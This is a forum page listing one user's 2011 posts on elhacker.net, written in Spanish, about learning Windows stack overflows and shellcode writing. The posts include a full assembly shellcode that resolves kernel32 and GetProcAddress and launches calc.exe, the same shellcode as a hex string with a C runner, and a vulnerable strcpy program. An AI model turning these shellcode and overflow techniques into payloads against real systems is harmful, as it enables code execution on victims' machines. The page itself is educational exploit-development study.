elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Bugs y Exploits / es posible encontrar un jmp esp en el codigo fuente de linux? en: 27 Abril 2011, 13:31 pm
igual la pregunta es tonta, pero me preguntaba si hay alguna posibilidad en linux de hacer un stack overflow tal y como se hace en windows, es decir buscando un "jmp esp" y colocando su direccion en la del ret.

¿es posible encontrar algun jmp esp en el kernel de linux o algo similar, de modo que podamos hacer el stack overflow como en windows?

un saludo.
2  Seguridad Informática / Bugs y Exploits / problema con shellcode demasiado larga en: 20 Abril 2011, 13:32 pm
hola, he estado debugueando por que no funciona miexploit y he llegado a la conclusion de que es porque es demasiado larga, ya que si la corto por la mitad, parece que si se ejecuta (aunque por supuesto n hace nada ya que no esta completa), Entonces tengo la duda, de ¿cómo puedo calcular el tamaño maximo que puede ocupar mi shellcode, ytambien que es lo que sucede cuando se exceden esos valores,para que el programa se estrelle.

un saludo.
3  Seguridad Informática / Bugs y Exploits / findjmp me salta a ESP pero no a la dirección a la que apunta!! en: 6 Abril 2011, 08:40 am
pues eso, que intentando hacer un buffer overflow siguieno el manual de rojodos, me encuentro con esto:
Código:
esp:0022334455
pila:
0022334455   0077889900
y la instrucción a ejecutar es un jmp esp (buscado con finjmp en kernel32 o ntdll)
en teoría la siguiente instrucción despues del jmp esp debería de ser la 0077889900, pero en lugar de eso es 0022334455, es decir que en lugar de copiar al eip el valor apuntado por esp me copia directamente en eip el valor de esp.

con call me sucede exactamente lo mismo, no se si sera culpa del compilador, es el masm, aunque yo creo que no es normal que haga eso.

un saludo.
4  Seguridad Informática / Bugs y Exploits / una duda acerca del buffer overflow. en: 3 Abril 2011, 00:29 am
estoy intentando hacer un exploit guiandome por el tutorial de rojodos. Y antes de nada me asalta la duda de que si al producirse el stack overflow ... ¿no se cortará la ejecución del programa debido a la excepción generada? Es decir ¿me permitirá windows seguir ejecutando la shellcode que hay en el buffer una vez se produzca la excepción por buffer overflow?
5  Programación / Programación C/C++ / no consigo hacer funcionar a shellexecute. en: 29 Marzo 2011, 00:26 am
estoy que no doy una, he probado todas las combinaciones pero no consigo ejecutar un maldito programa con shellexecute. Lo quetengo es un programa en c++ que utiliza esta instrucción para ejecutar otro programa:
Código
  1. ShellExecute(NULL,"open", "miPrograma.exe",NULL,NULL, SW_SHOW);
pero compila, pasa de largo y no hace nada.
la aplicación miPrograma.exe se encuentra en la misma carpeta que el que estoy ejecutando.
he probado tambien así:
miPrograma.exe
así: (poniendo miPrograma.exe en C:\)
Código
  1. ShellExecute(NULL,"open", "miPrograma.exe",NULL,"C:\", SW_SHOW);
  2.  
  3.  
pero nada, ninguna funciona.
Sólo me ha funcionado esto:
Código
  1. ShellExecute(NULL,"open", "calc.exe",NULL,NULL, SW_SHOW);
ya que la calculadora es accesible desde cualquier punto.
no obstante si coloco la calculadora en c:\ y hago esto:
Código
  1. ShellExecute(NULL,"open", "calc.exe",NULL,"C:\", SW_SHOW);
  2.  
  3.  
ya no funciona tampoco.
6  Seguridad Informática / Análisis y Diseño de Malware / duda de cómo se introducen cadenas en la pila (manualmente). en: 25 Marzo 2011, 12:12 pm
sabeis como se calculan los espacios que hay que restar a esp para introducir una cadena en la pila? En el siguiente código yo meto 8 cacacteres pero en cambio necesito restar 0bh es decir 11 espacios para que el programa funcione. Ademas ni siquiera necesito empezar la cadena en la parte superior, es decir en el espacio 11 sino que empezando en el espacio 8 funciona. No entiendo el porqué de esto.

Código:
sub esp, 0bh ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call eax ; llamamos a getprocadress

7  Seguridad Informática / Bugs y Exploits / me da un access violation al entrar en la shellcode. en: 24 Marzo 2011, 15:45 pm
tengo un codigo asm que funciona perfectamente y que he pasado a shellcode. Pero al intentarlo ejecutar como shellcode medá un access violation. La shellcode no contienenulos y como ya he dicho, ejecutada por si misma funciona perfectamente.

alguna idea de porqué puede pasar esto?

este es el programa: (y access violation lo he comprobado con olly y es justo al entrar en los opcodes de la shellcode).

Citar
#include <stdio.h>
#include <string.h>
//#include <stdafx.h>
#include <windows.h>

char code[] = "\x33\xDB\x64\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x1B\x8B\x5B\x08\x8B\xC3\x50\x8B\x34\x24\x03\x76\x3C\x8B\x56\x78\x03"
"\x14\x24\x8B\xCA\x83\xC1\x1F\x41\x8B\x19\x03\x1C\x24\x33\xC0\x8B\x3B\x03\x3C\x24\x81\x3F\x47\x65\x74\x50\x75\x1A\x81\x7F\x04\x72"
"\x6F\x63\x41\x75\x11\x81\x7F\x08\x64\x64\x72\x65\x75\x08\x66\x81\x7F\x0C\x73\x73\x74\x0A\x90\x83\xC3\x04\x40\x3B\x42\x18\x75\xCF"
"\x8B\x72\x24\x03\x34\x24\x33\xC9\x66\x8B\x0C\x46\x8B\x7A\x1C\x03\x3C\x24\x8B\x04\x8F\x03\x04\x24\x8B\x34\x24\x32\xD2\x83\xEC\x0B"
"\xC6\x45\xF8\x57\xC6\x45\xF9\x69\xC6\x45\xFA\x6E\xC6\x45\xFB\x45\xC6\x45\xFC\x78\xC6\x45\xFD\x65\xC6\x45\xFE\x63\x88\x55\xFF\x8D"
"\x4D\xF8\x51\x56\x8B\xD8\xFF\xD0\x32\xD2\x83\xEC\x11\xC6\x45\xF7\x63\xC6\x45\xF8\x61\xC6\x45\xF9\x6C\xC6\x45\xFA\x63\xC6\x45\xFB"
"\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x88\x55\xFF\x8D\x4D\xF7\x6A\x05\x51\xFF\xD0\x32\xD2\x83\xEC\x20\xC6\x45\xEE"
"\x45\xC6\x45\xEF\x78\xC6\x45\xF0\x69\xC6\x45\xF1\x74\xC6\x45\xF2\x50\xC6\x45\xF3\x72\xC6\x45\xF4\x6F\xC6\x45\xF5\x63\xC6\x45\xF6"
"\x65\xC6\x45\xF7\x73\xC6\x45\xF8\x73\x88\x55\xF9\x8D\x4D\xEE\x51\x56\xFF\xD3\x33\xC9\x51\xFF\xD0";

typedef void (*pfnc_initDevice)(void);

int main()
{
pfnc_initDevice pfnc=(pfnc_initDevice)&code[0];
pfnc();
return 0;
}
8  Seguridad Informática / Análisis y Diseño de Malware / posible problema con integridad de la pila en: 21 Marzo 2011, 09:53 am
no tengo muy claro que es lo que falla con este codigo. Es un programa en asebler que lanza la calcularora, y está pensado para ser convertido en una shellcode. Está basado en el típico ejemplo que se usa para hacer una shellcode, y en general su estructura es esta:
funcion que busca dirección de getprocaddress
buscar direccion de winexec
ejecutar winexec calc.exe
buscar direccion de exitprocess
ejecutar exitprocess

Funciona correctamente hasta llegar a buscar la dirección de exitprocess. Al llegar ahí, algún fallo hay al meter la cadena en la pila y no reconoce tal cadena, y getprocaddress no encuentra su dirección.
Podría ser que se pierde la integridad de la pila, la verdad el tema de la integridad de la pila no lo he logrado entender. Así que pongo el código a ver si podeis confirmarme algo.

Código
  1. .386
  2. .model flat, stdcall  ;32 bit memory model
  3. option casemap :none  ;case sensitive
  4. assume fs:nothing
  5.  
  6. .code
  7.  
  8. dirFuncion proc
  9. ; ******************************************
  10. ; Buscamos la dirección base de kernel32.dll
  11. ; ******************************************
  12.      xor ebx, ebx    ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
  13.      mov ebx, fs:[ebx+30h]
  14.      mov ebx, [ebx+0Ch]
  15.      mov ebx, [ebx+1Ch]
  16.      mov ebx, [ebx]  
  17.      mov ebx, [ebx]
  18.      mov ebx, [ebx+08h]
  19.      mov eax, ebx
  20.   push eax ; guardamos en la pila la direccion base de kernel32.dll
  21.  
  22. ; ***********************************************************************
  23. ; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
  24. ; ***********************************************************************
  25. busca_funcion:
  26.   mov esi, [esp] ; puntero a la direccion base
  27.   add esi, [esi+03Ch] ; puntero a PE signature
  28.   mov edx, [esi+078h] ; puntero a la Export table
  29.   add edx, [esp] ; sumamos la direccion base
  30.  
  31.   mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
  32.   add ecx, 1fh
  33.   inc ecx
  34.   mov ebx, [ecx] ; puntero al array AddressOfNames
  35.   add ebx, [esp]
  36.   xor eax, eax ; indice de AddressOfNames
  37.  
  38. bucle_funcion: ; buscamos la funcion a partir de la direccion base
  39.   mov edi, [ebx]
  40.   add edi, [esp]
  41.  
  42.   ; como ya no usamos el segmento .data, comparamos directamente el nombre de
  43.   ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
  44.   ; tenemos que separar en un dword, un word y un byte, para que no nos coja
  45.   ; ningun caracter nulo
  46.   cmp dword ptr [edi], 50746547h
  47.   jnz funcion_no_encontrada
  48.   cmp dword ptr [edi + 4], 41636f72h
  49.   jnz funcion_no_encontrada
  50.   cmp dword ptr [edi + 8], 65726464h
  51.   jnz funcion_no_encontrada
  52.   cmp word ptr [edi + 12], 7373h
  53.   je funcion_encontrada
  54.  
  55. funcion_no_encontrada:
  56.   nop ; ponemos un NOP aqui porque tras depurar con el Olly
  57. ; vi que usaba \x09 (tabulador) y me rompia la shellcode
  58. ; de esta forma amplio el salto en un byte y en lugar de
  59. ; 09 pondra 0A
  60.   add ebx, 4
  61.   inc eax
  62.   cmp eax, dword ptr [edx+18h]
  63.   jnz bucle_funcion
  64.  
  65. funcion_encontrada:
  66.   mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
  67.   add esi, [esp] ; añadimos la direccion base
  68.   xor ecx, ecx
  69.   mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
  70.   mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
  71.   add edi, [esp] ; añadimos la direccion base
  72.   mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
  73.   add eax, [esp] ; añadimos la direccion base y tenemos la direccion de getprocadress en eax
  74.   pop esi   ;con esto quitamos el valor base del kernel32 que de lo contrario seria la proxima instruccion a ejecutar, y lo metemos en esi para no perderlo
  75.   ;leave    ;esta instruccion es para dejar la pila como estaba, en este ejemplo se he echo manualmente enla instruccion anterior
  76.   ret
  77. dirFuncion endp
  78.  
  79. start:
  80.  
  81.  
  82.  
  83. ; **********************************
  84. ; programa principal
  85. ; **********************************
  86.  
  87.   call dirFuncion
  88.  
  89.   ;mov esi, [esp]
  90.   ;push ebp
  91.   ;mov ebp, esp
  92.   xor dl, dl
  93.   sub esp, 0fh ; dejamos espacio en la pila para meter nuestra cadena
  94.   mov byte ptr [ebp-0ah], 57h  ; 'W'
  95.   mov byte ptr [ebp-09h], 69h  ; 'i'
  96.   mov byte ptr [ebp-08h], 6eh  ; 'n'
  97.   mov byte ptr [ebp-07h], 45h  ; 'E'
  98.   mov byte ptr [ebp-06h], 78h  ; 'x'
  99.   mov byte ptr [ebp-05h], 65h  ; 'e'
  100.   mov byte ptr [ebp-04h], 63h  ; 'c'
  101.   mov byte ptr [ebp-03h], dl   ; 0x00
  102.   lea ecx, [ebp-0ah] ; cargamos la direccion que apunta a nuestra cadena
  103.   push ecx
  104.   push esi       ;dirección base de kernel32
  105.   call eax ; llamamos a getprocadress
  106.  
  107.   ;push ebp
  108.   ;mov ebp, esp
  109.   sub esp, 11h ; dejamos espacio en la pila para meter nuestra cadena
  110.   mov byte ptr [ebp-11h], 63h  ; 'c'
  111.   mov byte ptr [ebp-10h], 61h  ; 'a'
  112.   mov byte ptr [ebp-0fh], 6Ch  ; 'l'
  113.   mov byte ptr [ebp-0eh], 63h  ; 'c'
  114.   mov byte ptr [ebp-0dh], 2Eh  ; '.'
  115.   mov byte ptr [ebp-0ch], 65h  ; 'e'
  116.   mov byte ptr [ebp-0bh], 78h  ; 'x'
  117.   mov byte ptr [ebp-0ah], 65h  ; 'e'
  118.   mov byte ptr [ebp-09h], dl   ; 0x00
  119.    push 5   ;parametro de winexec (show)
  120.   lea ecx, [ebp-11h] ; cargamos la direccion que apunta a nuestra cadena
  121.   push ecx
  122.   call eax    ;llamamos a winexec
  123.  
  124.   call dirFuncion   ;llamamos a la funcion para obtener el geptrocaddress
  125.  
  126.   ;push ebp
  127.   ;mov ebp, esp
  128.   sub esp, 20h ; dejamos espacio en la pila para meter nuestra cadena
  129.   mov byte ptr [ebp-12h], 45h  ; 'E'
  130.   mov byte ptr [ebp-11h], 78h  ; 'x'
  131.   mov byte ptr [ebp-10h], 69h  ; 'i'
  132.   mov byte ptr [ebp-0fh], 74h  ; 't'
  133.   mov byte ptr [ebp-0eh], 50h  ; 'P'
  134.   mov byte ptr [ebp-0dh], 72h  ; 'r'
  135.   mov byte ptr [ebp-0ch], 6fh  ; 'o'
  136.   mov byte ptr [ebp-0bh], 63h  ; 'c'
  137.   mov byte ptr [ebp-0ah], 65h   ; 'e'
  138.   mov byte ptr [ebp-09h], 73h   ; 's'
  139.   mov byte ptr [ebp-08h], 73h   ; 's'
  140.   mov byte ptr [ebp-07h], dl   ; '0'
  141.   lea ecx, [ebp-12h] ; cargamos la direccion que apunta a nuestra cadena
  142.   push ecx
  143.   push esi       ;dirección base de kernel32
  144.   call eax ; llamamos a getprocadress
  145.                    ;obtenemos direccion de exitprocess
  146.   xor ecx, ecx
  147.   push ecx
  148.   call eax        ;llamamos a exitprocess
  149.  
  150.  
  151. end start
  152.  
  153. ;ml -c -coff -Cp e:\masm_archivos\shellcode_getprocaddress_exitprocess2\shellcode_getprocaddress_exitprocess2.asm
  154. ;link /SUBSYSTEM:WINDOWS shellcode_getprocaddress_exitprocess2.obj

9  Seguridad Informática / Bugs y Exploits / imposible depurar programa creado con dev c++ o visual c++ con ollydbg en: 19 Marzo 2011, 01:11 am
qué, tal cómo va? Una vez más tengo una duda con un codigo, en este caso estoy intentando seguir el ejemplo de rojodos para hacer un stack overflow. El programa en cuestión es el del ejemplo:
#include <stdio.h>
#include <string.h>

int main (int argc, char **argv)
{
   char buffer[64];
   if (argc < 2)
   {
      printf ("Introduzca un argumento al programa\n");
      return 0;
   }
   strcpy (buffer, argv[1]);
   return 0;
}

al ejecutarlo funciona tal y como era de esperar, y peta cuando se le pasan más de 64 a's como argumento.

Pero al depurarlo con olly meda un error que aparece reflejado en la pantalla de los registros. el error es FILE_NOT_FOUND y soy incapaz de encontrar cual es la funcion que produce el error ya que es increíble la de llamadas a funciones anidadas y sin anidar, a las que llama el programita. Y eso que sólo hace un if y un printf. Es imposible seguir el manual de rojodos ya que como he dicho el número de funciones llamadas es increíble.
Lo estoy complilando con dev c++ pero si lo compilo con visual c++ es todavía mayor el numero de subfunciones a las que se llaman.

Por qué este tan alto número de llamadas a funciones y apis? estoy utilizando windows7, y he comprobado que los únicos programas que se pueden seguir sin perderse son los creados con masm. Los creados con dev c++ y visual c++ son un auténtico laberinto.
10  Seguridad Informática / Bugs y Exploits / eliminar caracteres nulos de mi shellcode en: 25 Febrero 2011, 11:32 am
por fin he conseguido hacer que funciona mi pequeño programa en assembler y ahora toca convertirlo en shellcode, pero todavía tengo caracteres nulos.
En este trozo por ejemplo:


Código:
; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
      xor eax, eax           
      mov eax, fs:[30h]
      mov eax, [eax+0Ch]
      mov eax, [eax+1Ch]
      mov eax, [eax] 
      mov eax, [eax]
      mov eax, [eax+08h]
   push eax ; guardamos en la pila la direccion base de kernel32.dll

la instrucción mov eax, fs:[30h] me la traduce en assembly como 64 A1 30 00 00 00
y el problema es claramente que el 30h lo traduce a 32 bits (en little endian) y por lo tanto rellena con ceros a la derecha.

luego las instrucciones mov eax, [eax] que se utilizan para saltar a la siguiente dirección (o algo parecido), se traducen como 8b00.

Y no se como puedo eliminar estos caracteres nulos.
¿alguna indea? ¿hay quizá algún programa que codifique la shellcode automaticamente sin caracteres nulos?


un saludo.
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines